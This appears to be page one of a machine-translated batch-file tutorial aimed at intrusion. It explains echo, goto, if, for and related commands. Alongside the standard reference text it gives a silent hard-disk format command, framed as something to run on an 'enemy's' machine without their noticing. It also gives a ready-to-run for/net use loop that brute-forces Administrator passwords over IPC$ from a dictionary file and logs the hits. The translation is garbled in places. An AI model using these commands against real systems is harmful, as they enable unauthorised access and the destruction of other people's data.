Introduction and preparation of batch files 1th/2 page _dos/bat

If there is no relevant knowledge is not easy to understand and understand the batch documents, but also not to write their own hands

A batch file is an unformatted text file that contains one or more commands. Its file name extension is. bat or. cmd. Type the name of the batch file at the command prompt, or double-click the batch file, and the system calls Cmd.exe to run them one at a time in the order in which the commands appear in the file. Using a batch file (also known as a batch program or script) simplifies routine or repetitive tasks. Of course, our main content of this version is to introduce the batch processing in the intrusion of some practical applications, such as we have to mention later to use batch files to patch the system, batch implantation back door procedures. Let's start with a batch of study tours here.

Introduction to Simple batch processing internal commands
1.Echo command
Turn on Echo or turn off request echoing, or display a message. If there are no arguments, the echo command displays the current echo setting.
Grammar
echo [{On|off}] [message]
Sample: @echo Off/echo Hello World
In practical applications we will combine this command with a redirect symbol (also known as a pipe symbol, commonly used in > >> ^) to implement input commands into a file in a particular format. This will be reflected in future examples.

2.@ command
Represents a command that does not show the @ behind it, and in the course of an intrusion (for example, using batches to format an enemy's hard disk), you can't let the other person see the command you're using.
Sample: @echo off
@echo now initializing the program,please wait a minite ...
@format X:/q/u/autoset (Format This command is not allowed to use/y This parameter, it is gratifying that Microsoft left a autoset This parameter to us, the effect and/y is the same. )

3.Goto command
Specifies that the program will process commands that start on the next line when the label is found.
Syntax: Goto label (label is a parameter that specifies the line in the batch program to which you want to turn.) ）
Sample:
If {%1}=={} goto noparms
If {%2}=={} goto noparms (if,% 1,%2 you do not understand, skip first, then there will be a detailed explanation later.) ）
@Rem check parameters if NULL show usage
: noparms
echo Usage:monitor.bat ServerIP portnumber
Goto END
The name of the label can be casually played, but it is best to have a meaningful letter, add a letter: to indicate that the letter is a label, the Goto command is based on this: to find the next jump to there. It's better to have some explanations so that you will be able to understand your intentions.

4.Rem command
Note Command, in the C language is equivalent to/*--------* *, it will not be executed, just play a role in the annotation, easy to read and your own future changes.
Rem message
Sample: @Rem This is the description.

5.Pause command
When you run the Pause command, the following message is displayed:
Press any key to continue ...
Sample:
@echo off
: Begin
Copy a:*.* D:\\back
echo please put a new disk into driver a
Pause
Goto BEGIN
In this example, all files on the disk in drive A are copied to D:\\back. When you display a comment that prompts you to put another disk in drive A, the pause command suspends the program so that you can replace the disk and press any key to continue processing.

6.Call command
Calls another batch program from one batch program and does not terminate the parent batch program. The call command accepts the label used as the calling target. If you use call outside of a script or batch file, it will not work on the command line.
Grammar
call [[Drive:][path] FileName [batchparameters]] [: Label [arguments]]
Parameters
[Drive:} [Path] FileName
Specifies the location and name of the batch program to invoke. The filename parameter must have a. bat or. cmd extension.

7.start command
Calling external programs, all DOS commands and command-line programs can be invoked by the start command.
Intrusion Common parameters:
Min Start window minimized
Separate starts 16-bit Windows programs in separate spaces
High priority class Start application
Realtime starts the application in the Realtime priority category
Wait to start the application and waiting for it to end
Parameters these parameters for transmission to the command/program
Executing the application is a 32-bit GUI application when CMD. EXE does not wait for application termination to return a command prompt. If executed within a command script, the new behavior does not occur.
8.choice command
Choice Use this command to allow the user to enter a character to run different commands. Use should be added/C: parameter, the letter should be written after the prompt can enter characters, no spaces between. Its return code is 1234 ...
such as: Choice/c:dme defrag,mem,end
will display
Defrag,mem,end[d,m,e]?
Sample:
The contents of Sample.bat are as follows:
@echo off
Choice/c:dme Defrag,mem,end
if errorlevel 3 goto defrag (the error code with the highest value should be judged first)
if errorlevel 2 goto MEM
If Errotlevel 1 goto end

:d Efrag
C:\\dos\\defrag
Goto END
: Mem
Mem
Goto END
: End
echo Good bye

When this file is run, will display defrag,mem,end[d,m,e]? The user may select D m e, and then the IF statement will make a judgment, d means the execution label is defrag the program segment, m means the execution marking is the program segment of Mem, E represents the execution label as end of the program segment, each program paragraph ends with Goto ended the program jumps to the final label place, The program then displays the good bye and ends the file.

9.If command

If the condition is judged to be in compliance with the stipulated conditions, it is decided to execute different commands. There are three different formats:
1, if "parameter" = = "string" command to be executed
If the parameter is equal to the specified string, the condition is set, the command is run, or the next sentence is run. (note is two equals)
If "%1" = = "A" format a:
If {%1}=={} goto noparms
If {%2}=={} goto noparms

2, if exist file name to execute command
If you have the specified file, the condition is set, run the command, or run the next sentence.
such as if exist Config.sys edit Config.sys

3, if errorlevel/if not errorlevel number of commands to be executed
If the return code equals the specified number, the condition is set, the command is run, or the next sentence is run.
if errorlevel 2 goto x2
DOS program will return a number to DOS, called error code ERRORLEVEL or return code, the common return code is 0, 1.

10.for command
The for command is a more complex command that is used primarily to loop through commands within a specified range.
When you use the for command in a batch file, specify the variable using the%%variable

for {%variable|%%variable} in (set) do command [CommandLineOptions]
%variable specifies a single letter replaceable parameter.
(set) to specify one or a set of files. You can use wildcard characters.
command specifies the commands that are executed for each file.
command-parameters specifies a parameter or command-line switch for a particular command.
When you use the for command in a batch file, specify the variable using the%%variable
Instead of using%variable. Variable names are case-sensitive, so%i are different from%i

If the command extension is enabled, the following additional for command formats are
Support:

FOR/D%variable in (set) do command [Command-parameters]

If the set contains wildcard characters, specify a match to the directory name, not the file
Name match.

FOR/R [[Drive:]path]%variable in (set) do command [command-

Check the [drive:]path-rooted directory tree, pointing to the
The For statement. If no directory is specified after/R, the current
Directory. If the set is only one single point (.) character, the directory tree is enumerated.

FOR/L%variable in (start,step,end) do command [Command-para

The set represents a sequence of numbers in increments from start to finish.
Therefore, (1,1,5) will produce a sequence of 1 2 3 4 5, (5,-1,1) will produce
Sequence (5 4 3 2 1).

for/f ["Options"]%variable in (file-set) do command
for/f [' Options ']%variable in (' String ') do command
for/f ["Options"]%variable in (\ ' command\ ') do command

Or, if you have the USEBACKQ option:

for/f ["Options"]%variable in (file-set) do command
for/f [' Options ']%variable in (' String ') do command
for/f ["Options"]%variable in (\ ' command\ ') do command

FileNameSet is one or more file names. Continue to the filenameset.
Before the next file, each file has been opened, read, and processed.
Processing involves reading a file, dividing it into lines of text, and then each row
resolves to 0 or more symbols. Then use the found symbol string variable value
Call the For loop. By default,/F is separated from each row of each file
The first blank symbol. Skips blank lines. You can specify optional "options" by specifying
Parameter overrides the default resolution operation. This quoted string consists of one or more
Specifies keywords for different resolution options. The key words are:

Eol=c-refers to the end of a line comment character (just one)
Skip=n-refers to the number of rows ignored at the start of the file.
Delims=xxx-refers to the delimiter set. This replaces the space and the jump bar
The default delimiter set.
Tokens=x,y,m-n-refers to which symbol of each line is passed to each iteration
For itself. This causes the extra variable name to be
Format is a range. Specify m by nth symbol
The last character in the symbol string, asterisk,
Then the extra variables will be parsed in the last symbol
Assign and accept the reserved text for the line.
USEBACKQ-Specifies that the new syntax is already used in the following class cases:
Executes a string of post quotes as a command and
The quote character is a literal string command and is allowed in the fi
Use double quotes to expand the file name.

Sample1:
For/f "eol=; tokens=2,3* delims=, "%i in (myfile.txt) do command

Each row in the myfile.txt is parsed, and those lines that begin with a semicolon are ignored, and the
The second and third symbols in each row are passed to the for program body, with commas and/or
Space-delimited symbol. Note that the statement for the body of this for program references%i to
Get the second symbol, refer to%j to get the third symbol, and reference the%k
To get all the remaining symbols after the third symbol. For a file with spaces
Name, you need to enclose the file name in double quotes. In order to make it in this way
With double quotes, you also need to use the USEBACKQ option, otherwise the double quotes will
is understood to be used to define a string to parse.

%i is specifically described in the For statement,%j and%k are
The tokens= option is specifically described. You can use the tokens= line
Specify up to 26 symbols, as long as you do not attempt to indicate a higher than the letter \ ' z\ ' or
\ ' z\ ' variables. Keep in mind that a for variable is a single letter, case, and global;
No more than 52 are in use at the same time.

You can also use for/f parsing logic on adjacent strings;
Enclose the filenameset between parentheses in single quotes. In this way, the character
The string is treated as a single input line in a file.

Finally, you can use the for/f command to parse the output of the command. The method is to
The filenameset between parentheses becomes a reverse-enclosed string. The string will
is passed to a child CMD as a command line. EXE, whose output will be caught in
Memory and is treated as a file analysis. Therefore, the following example:

for/f "Usebackq delims=="%i in (' Set ') do @echo%i

The name of the environment variable in the current environment is enumerated.

In addition, the substitution of a for variable reference has been enhanced. You can now use the following
Option syntax:

~i-Remove any quotes ("), expand%I
%~fi-Will%I Extend to a fully qualified path name
%~di-Will%I only Expand to a drive letter
%~PI-Will%I only Extend to a path
%~ni-Will%I only Extend to a filename
%~xi-Will%I only Extended to a file name extension
%~si-The extended path contains only short names
%~ai-Will%I File attributes extended to files
%~ti-Will%I Date/time of expansion to file
%~zi-Will%I Expand to the size of the file
~ $PATH: I-Find directories listed in PATH environment variables, and%I Expand
To the first fully qualified name found. If the environment variable
is not defined, or the file is not found, the key combination expands
Empty string

You can combine modifiers to get multiple results:

%~DPI-Will%I only Extend to a drive letter and path
%~nxi-Will%I only extended to a filename and extension
%~FSI-Will%I only Extended to a full pathname with a short name
%~DP$PATH:I-finds the directory listed in the PATH environment variable, and%I Expand
To the first drive letter and path found.
%~ftzai-Will%I DIR extended to a similar output line

In the above example,%I And PATH can be replaced with other valid values. ~ Grammar
Terminates with a valid for variable name. Select a similar%I The uppercase variable name
It is easier to read and avoids confusion with key combinations that are not case-sensitive.

Above is the official help of MS, let's give a few examples to specify the purpose of the for command in the intrusion.

Sample2:

Use the for command to implement brute force password cracking on a target Win2K host.
We used net use \\\\ip\\ipc$ "password"/u: "Administrator" to try this connection with the target host, write down the password when successful.
The main command is one: for/f i% in (dict.txt) does net use \\\\ip\\ipc$ "i%"/U: "Administrator"
i% is used to represent the admin password, and the i% value in Dict.txt is connected with the net use command. Then pass the results of the program to the Find command--
for/f i%% in (dict.txt) does net use \\\\ip\\ipc$ "i%%"/U: "Administrator" |find ": Command completed successfully" >>d:\\ok.txt, so KO.

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